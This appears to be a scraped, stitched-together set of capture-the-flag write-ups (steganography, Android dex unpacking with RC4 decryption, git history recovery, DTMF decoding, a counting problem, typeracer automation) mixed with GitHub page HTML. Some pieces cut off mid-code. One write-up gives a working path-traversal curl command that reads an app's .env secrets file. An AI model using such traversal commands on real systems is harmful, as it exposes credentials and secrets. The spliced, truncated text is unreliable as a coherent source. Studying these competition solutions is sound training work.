src="/BigB00st/ctf-solutions/tree-commit/7c1b43f086e22c70e3f52420504fe4307b842f5c/rgbCTF/misc/creative-algo" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3">ย </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/BigB00st/ctf-solutions/file-list/master/rgbCTF/misc/creative-algo"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>.โ€Š.</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7">ย </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text">ย </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> ยฉ 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You canโ€™t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
Same as [Quirky Resolution](https://ctftime.org/writeup/22237), this is also a steganography challenge. Analysing it with [Aperi's Solve](https://aperisolve.fr) and in the view section we get the flag. ![The Flag](https://m.imgur.com/a/qusZWaU) Flag : ```rgbCTF{3zier_4haN_s4an1ty}```
#### ๅ‡บ้ข˜ๆ€่ทฏ้ฆ–ๅ…ˆๅพˆๆ˜Žๆ˜พ่ฟ™ๆ˜ฏไธ€ไธชๆŒ‡ไปคๆŠฝๅ–ๅฃณ๏ผŒdexๆ–‡ไปถไธญๆŒ‡ไปคไธขๅคฑ๏ผŒๅœจsoไธญ่ฟ˜ๅŽŸใ€‚ ็”จๅˆฐ็š„ๆ˜ฏ`inline-hook`,hook`libdvm.so`็š„`dexFindClass`,ๅœจๅŠ ่ฝฝ็ฑปๆ—ถ่ฟ›่กŒๆŒ‡ไปค่ฟ˜ๅŽŸ ๆŠฝๅ–็š„ๆŒ‡ไปค,ๅ’Œไธ€ไบ›ๅญ—็ฌฆไธฒ่ฟ›่กŒๅŠ ๅฏ†ไฟๅญ˜๏ผŒๅœจ`.init`ๆฎต่ฟ›่กŒไบ†่‡ช่งฃๅฏ†๏ผŒ็ฎ—ๆณ•ไธบrc4,ๅฏ†้’ฅไธบ`havefun` ๆŒ‡ไปค่ฟ˜ๅŽŸๅŽๅฎŒๆ•ด็š„dexๆ‰ง่กŒ้€ป่พ‘ไธบ,ๅฐ†`SCTF`็ฑป็š„`b`ๅญ—ๆฎตไฝœไธบๅฏ†้’ฅ,ๅฐ†่พ“ๅ…ฅ็š„ๅญ—็ฌฆไธฒ่ฟ›่กŒ`xxtea`ๅŠ ๅฏ†ๅŽไธŽ`SCTF`็ฑป็š„`c`ๅญ—ๆฎตๆฏ”่พƒ ๅ€ผๅพ—ๆณจๆ„็š„ๆ˜ฏๅœจ`JNI_OnLoad()`ๆ—ถๆ›ฟๆขไบ†`SCTF`ไธญ็š„`b`,`c`ๅญ—ๆฎต #### ่งฃ้ข˜ๆ–นๆณ•1. ็กฌ้€†soๅฑ‚๏ผŒ่ฟ˜ๅŽŸๅญ—่Š‚็ 2. ไผ—ๆ‰€ๅ‘จ็Ÿฅ๏ผŒappๆ—ข็„ถ่ฆ่ฟ่กŒ่ตทๆฅ๏ผŒไปฃ็ ๅฟ…ๅฐ†ๅŠ ่ฝฝๅˆฐๅ†…ๅญ˜ใ€‚ๆ‰€ไปฅๅฏไปฅๅœจ้€‚ๅฝ“ๆ—ถ้—ดๅฐ†ๅฎŒๆ•ด็š„dexไปŽๅ†…ๅญ˜ไธญdumpๅ‡บๆฅ ๆœฌ้ข˜ๅฏๅœจ`d.a.c`็š„`public static String a(String arg1, String arg2, String arg3)`ๆ–นๆณ•๏ผˆ็‚นๅ‡ปplayๆŒ‰้’ฎๅŽ่ฏฅๆ–นๆณ•็š„ๅญ—่Š‚็ ไผšๅŠ ่ฝฝๅˆฐๅ†…ๅญ˜๏ผ‰`o1`ๆ–นๆณ•ๆ‰ง่กŒๅŽ`o2`ๆ–นๆณ•ๆ‰ง่กŒๅ‰ๅฐ†dex dump ### get_up็ฌฌไธ€ๅฑ‚smc็š„็ง˜้’ฅ็ปๆต‹่ฏ•ๅœจๅคง้ƒจๅˆ†ๅœจ็บฟๅทฅๅ…ท็ซ™้ƒฝๅฏไปฅๆŸฅๅˆฐ![](http://roomoflja.cn/wp-content/uploads/2020/07/upload_3da6d43a46b537c4dfcae58d416047e4.jpg)็ฌฌไบŒๅฑ‚็ง˜้’ฅ็”จไบ†flagๅ‰5ไฝ`SCTF{`ๅš็ง˜้’ฅ ็„ถๅŽ่ฟ›่กŒๅธธ่ง„็š„rc4็ฎ—ๆณ•ๅฏนflag่ฟ›่กŒๅŠ ๅฏ†,rc4็ง˜้’ฅๆ˜ฏ`syclover`ๅนถ็”จๅ…ถไป–้€ป่พ‘่ฟ็ฎ—ไปฃๆ›ฟๅผ‚ๆˆ–ๆฅๅฎŒๆˆๆ•ฐๆฎไบคๆข```cpp { i = (i + 1) % 256; j = (j + s[i]) % 256; s[i] = (s[i] & ~s[j]) | (~s[i] & s[j]); s[j] = (s[i] & ~s[j]) | (~s[i] & s[j]); s[i] = (s[i] & ~s[j]) | (~s[i] & s[j]); t = (s[i] + s[j]) % 256; data[k] ^= s[t]; //printf("%2.2x,", data[k]); }``` ่งฃๅฏ†ๅช่ฆ่พ“ๅ…ฅๆ ผๅผ็ฌฆๅˆ็š„ๅญ—็ฌฆไธฒๅ†ๆ‹ฟๅˆฐ่ฏฅๅญ—็ฌฆไธฒ็š„ๅฏ†ๆ–‡ๅฐฑๅฏๅ†™่„šๆœฌไบ† ```pythond=[128, 85, 126, 45, 209, 9, 37, 171, 60, 86, 149, 196, 54, 19, 237, 114, 36, 147, 178, 200, 69, 236, 22, 107, 103, 29, 249, 163, 150, 217]s=[128, 85, 126, 45, 209, 18, 62, 176, 35, 31, 136, 150, 12, 45, 211, 76, 24, 173, 161, 202, 16, 210, 66, 101, 89, 25, 172, 177, 142, 197]s1='SCTF{aaaaaaaaaaaaaaaaaaaaaaaaa'#่พ“ๅ…ฅ็š„flagfor i in range(len(s)): print(chr(d[i]^s[i]^ord(s1[i])),end='')# SCTF{zzz~(|3[___]_rc4_5o_e4sy} ```
# Penguins We have a zip archive `2020-06-29-173949.zip`. On extracting, the tree looks like ```term0:24 ctf/rgbCTF2020/penguins git:(master) tree -a -L 2 2020-06-29-1739492020-06-29-173949โ””โ”€โ”€ git โ”œโ”€โ”€ 1yeet โ”œโ”€โ”€ 2yeet โ”œโ”€โ”€ 3penguin โ”œโ”€โ”€ flag โ””โ”€โ”€ .git 2 directories, 4 files ``` Its a git repository. The flag is probably hidden in some previous commits. We can see all history using ```shgit reflog``` We see ```term27440c5 (HEAD -> master) HEAD@{0}: checkout: moving from fascinating to master800bcb9 HEAD@{1}: commit: some things are not needed57adae7 HEAD@{2}: commit: relevant filefb70ca3 HEAD@{3}: commit: probably not relevant5dcac0e HEAD@{4}: commit: another perhaps relevant filecfd97cd HEAD@{5}: commit: add content to irrelevant filed14fcbf HEAD@{6}: commit: an irrelevant fileb474ae1 HEAD@{7}: checkout: moving from b474ae165218fec38ac9fb8d64f452c1270e68ea to fascinatingb474ae1 HEAD@{8}: checkout: moving from master to b474ae127440c5 (HEAD -> master) HEAD@{9}: commit (merge): Merge branch 'feature1'102b03d HEAD@{10}: commit: some more changesb474ae1 HEAD@{11}: commit: some new info8ee6237 HEAD@{12}: commit: added an interesting file1117a33 HEAD@{13}: checkout: moving from feature1 to master7d6997a (feature1) HEAD@{14}: commit: cooler bird955eeb7 HEAD@{15}: commit: add content1117a33 HEAD@{16}: checkout: moving from master to feature11117a33 HEAD@{17}: commit: birds are cool9dcf170 HEAD@{18}: commit (initial): first commit``` Let's checkout at commit `57adae7`, before the deletion. ```shgit checkout 57adae7ls``` We see some new files ```term1yeet 2yeet 3parakeet flag irrelevant_file perhaps_relevant perhaps_relevant_v2 relevant``` `perhaps_relevant_v2` contains a string which looks like a base64 string `YXMgeW9kYSBvbmNlIHRvbGQgbWUgInJld2FyZCB5b3UgaSBtdXN0IgphbmQgdGhlbiBoZSBnYXZlIG1lIHRoaXMgLS0tLQpyZ2JjdGZ7ZDRuZ2wxbmdfYzBtbTE3c180cjNfdU5mMHI3dW40NzN9` If we decode it ```shbase64 -d < perhaps_relevant_v2``` we get the flag ```termas yoda once told me "reward you i must"and then he gave me this ----rgbctf{d4ngl1ng_c0mm17s_4r3_uNf0r7un473}%```
# Hallo? ### Challenge Text >The flag is exactly as decoded. No curly brackets.>NOTE: keep the pound symbols as pound symbols!>~BobbaTea#6235, Klanec#3100 ### Challenge Work Listening to the audio we can tell that these are DTMF tones being entered. Maybe we can decipher them a-la T9? First let us get the DTMF tones from the file. Make sure to compare outputs from both of these commands from `dtmf.py`. (https://github.com/ribt/dtmf-decoder) ```txtdtmf-decoder [masterโ—] % ffmpeg -i down.mp3 down.wavdtmf-decoder [masterโ—] % ./dtmf.py -v ../down.wav0:00 ....................0:01 ................777.0:02 ..7.7...777.........0:03 ....................0:04 ....................0:05 .........44.........0:06 ....................0:07 ..............222..20:08 2...................0:09 ....................0:10 ....22...2222..22...0:11 ....................0:12 ............888.....0:13 ....................0:14 ..........33...333..0:15 .33.................0:16 ....................dtmf-decoder [masterโ—] % ./dtmf.py -v -t 10 ../down.wav[... for brevity]``` Once we are satisfied with what we believe the DTMF to be we can decode it: ```python#!/usr/bin/env python3 str_one = "777 4 22 222 8 333 # 999 33 33 8 # 3 8 3 333 # 8 666 66 33 7777 #" t9_text = { "2": "a", "22": "b", "222": "c", "3": "d", "33": "e", "333": "f", "4": "g", "44": "h", "444": "i", "5": "j", "55": "k", "555": "l", "6": "m", "66": "n", "666": "o", "7": "p", "77": "q", "777": "r", "7777": "s", "8": "t", "88": "u", "888": "v", "9": "w", "99": "x", "999": "y", "9999": "z"} def getsinglenumbergroup(num_message): char_str = num_message[0] for char in num_message[1:]: if char == char_str[-1]: char_str += char else: break return char_str def getnumbergroups(num_message): number_groups = [] while True: try: num_string = getsinglenumbergroup(num_message) number_groups.append(num_string) num_message = num_message[len(num_string):] except: break return number_groups def numberstowords(num_str_list, t9_text): decoded_str = "" for number in num_str_list: try: decoded_str += t9_text[number] except: decoded_str += number return decoded_str def getsentence(num_sentence): decoded_sentence = "" num_sentence = num_sentence.replace(".", "").replace(",", "").replace(":", "").replace("!","") for word in num_sentence.split(" "): word_groups = getnumbergroups(word) decoded_sentence += numberstowords(word_groups, t9_text) decoded_sentence += " " return decoded_sentence.upper() print(getsentence(str_one))print() # R P H C T F # Y E U # D T D F # T F E E S ##RGBCTF#YEE#DTMF#TONES# ```
We noticed the application uses `dotenv` to store the flag and also found a path traversal vulnerability (unintended by the author) `dotenv` fetches values from a file called `.env`. So we can get the flag by fetching this file! ```curl --path-as-is https://cookie-recipes-v2.2020.redpwnc.tf/../../../../../../../app/.env```
This is PPC problem. For any `i, v, x`, we define `cnt(i,v,x)` as the number of `P` such that `GCD(P)=v` and `P[i]=x`.Then, the answer will be `\sum_{i,v,x} cnt(i,v,x) * v * c[x] * i`.Because `cnt(i,v,x) = cnt(i',v,x)`, the answer can be written as `\sum_{v,x} cnt(0,v,x) * v * c[x] * N*(N-1)/2`. To count `cnt(0,v,x)`, we fix `x`. Then we check `v` from `N-1` to `1` such that `x % v = 0`. Because `GCD(P)=v`, all elements of `P` are multiple of `v` (including 0).The total number of `P` with multiples of `v` is `((N-1)//v + 1)^{N-1}`.However, this contains some `P` with `GCD(P)=2v, 3v, ...`, so we subtract them from earlier calculations. This algorithm looks working with `O(N^2 log N)` time complexity (`log N` is come from harmonic series of subtraction phase).
[Read Writeup](https://github.com/TheKaligula/redpwn_2020_CTF_Writeup/blob/master/primimity/primimity.md)https://github.com/TheKaligula/redpwn_2020_CTF_Writeup/blob/master/primimity/primimity.md
# Typeracer (119 Points) # ![TASK](https://imgur.com/WA3jGN8.png) The task was simple, we have to write the text that is shown so fast, I wrote this Javascript script to simulate keyboard typing :D ```js var div=document.getElementById('Ym9iYmF0ZWEh').children;var dict={};for(var i=0;i
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 